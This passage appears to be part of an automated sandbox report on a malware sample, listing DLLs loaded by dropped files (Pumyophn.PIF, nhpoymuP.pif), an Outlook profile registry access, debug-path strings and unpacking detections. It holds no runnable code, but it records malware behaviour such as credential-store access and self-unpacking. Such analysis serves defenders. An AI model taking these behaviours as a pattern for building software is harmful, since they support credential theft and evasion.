            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: mssip32.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: mswsock.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: winnsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ??????????.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ??.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppc.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ???.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ???.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ???.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ??l.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ??l.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ?.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ?.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ??l.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ????.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ???e???????????.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ???e???????????.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ?.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ?.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ?.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ?.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ??l.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ??l.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppc.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppc.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppc.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppc.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: tquery.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: cryptdll.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: spp.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: vssapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: vsstrace.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: spp.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: vssapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: vsstrace.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: mssip32.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: endpointdlp.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: endpointdlp.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: endpointdlp.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: endpointdlp.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: advapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: advapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: advapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: advapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: advapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: advapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: advapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: spp.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: vssapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: vsstrace.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppwmi.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: slc.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppc.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppcext.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppc.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: winscard.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: devobj.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: cryptsp.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: rsaenh.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppc.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppc.dllJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: mscoree.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: wldp.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: userenv.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: profapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: version.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: gpapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: cryptsp.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: rsaenh.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: rasapi32.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: rasman.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: rtutils.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: mswsock.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: winhttp.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: dhcpcsvc6.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: dnsapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: winnsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: secur32.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: schannel.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: mskeyprotect.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: ntasn1.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: ncrypt.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: ncryptsslp.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: dpapi.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: msv1_0.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: ntlmshared.dllJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifSection loaded: cryptdll.dllJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: version.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: uxtheme.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: url.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ieframe.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: iertutil.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: netapi32.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: userenv.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: winhttp.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: wkscli.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: netutils.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: amsi.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: smartscreenps.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: kernel.appcore.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: winmm.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: wininet.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sspicli.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: windows.storage.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: wldp.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: profapi.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ondemandconnroutehelper.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ieproxy.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ieproxy.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ieproxy.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: msasn1.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: msasn1.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: msasn1.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: mssip32.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: msasn1.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: mssip32.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: msasn1.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: mssip32.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: msasn1.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: mswsock.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: iphlpapi.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: winnsi.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ??????????.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ??.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppc.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ???.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ???.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ???.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: am.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ??l.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ??l.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ?.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ?.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ??l.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ????.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ???e???????????.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ???e???????????.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ?.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ?.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ?.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ?.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ??l.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: ??l.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppc.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppc.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppc.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: sppc.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: tquery.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: cryptdll.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: spp.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: vssapi.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: vsstrace.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: spp.dll
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection loaded: vssapi.dll
            Source: C:\Users\user\Desktop\image.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
            Source: image.exeStatic file information: File size 2143232 > 1048576
            Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: \??\C:\Windows\dll\mscorlib.pdb source: nhpoymuP.pif, 00000003.00000003.1932254507.000000002D812000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: easinvoker.pdb source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020AD0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020B5D000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: _.pdb source: nhpoymuP.pif, 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1840188323.000000002586F000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: easinvoker.pdbGCTL source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702911770.00000000218D2000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702911770.0000000021901000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020AD0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020B5D000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825586433.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825586433.0000000000906000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000009.00000003.1905153099.0000000000748000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000009.00000003.1905153099.0000000000719000.00000004.00000020.00020000.00000000.sdmp

            Data Obfuscation

            barindex
            Detected unpacking (changes PE section rights)
            Source: C:\Users\Public\Libraries\nhpoymuP.pifUnpacked PE file: 3.2.nhpoymuP.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
            Source: C:\Users\Public\Libraries\nhpoymuP.pifUnpacked PE file: 7.2.nhpoymuP.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
            Source: C:\Users\Public\Libraries\nhpoymuP.pifUnpacked PE file: 14.2.nhpoymuP.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
            Detected unpacking (overwrites its own PE header)
            Source: C:\Users\Public\Libraries\nhpoymuP.pifUnpacked PE file: 3.2.nhpoymuP.pif.400000.0.unpack
            Source: C:\Users\Public\Libraries\nhpoymuP.pifUnpacked PE file: 7.2.nhpoymuP.pif.400000.0.unpack
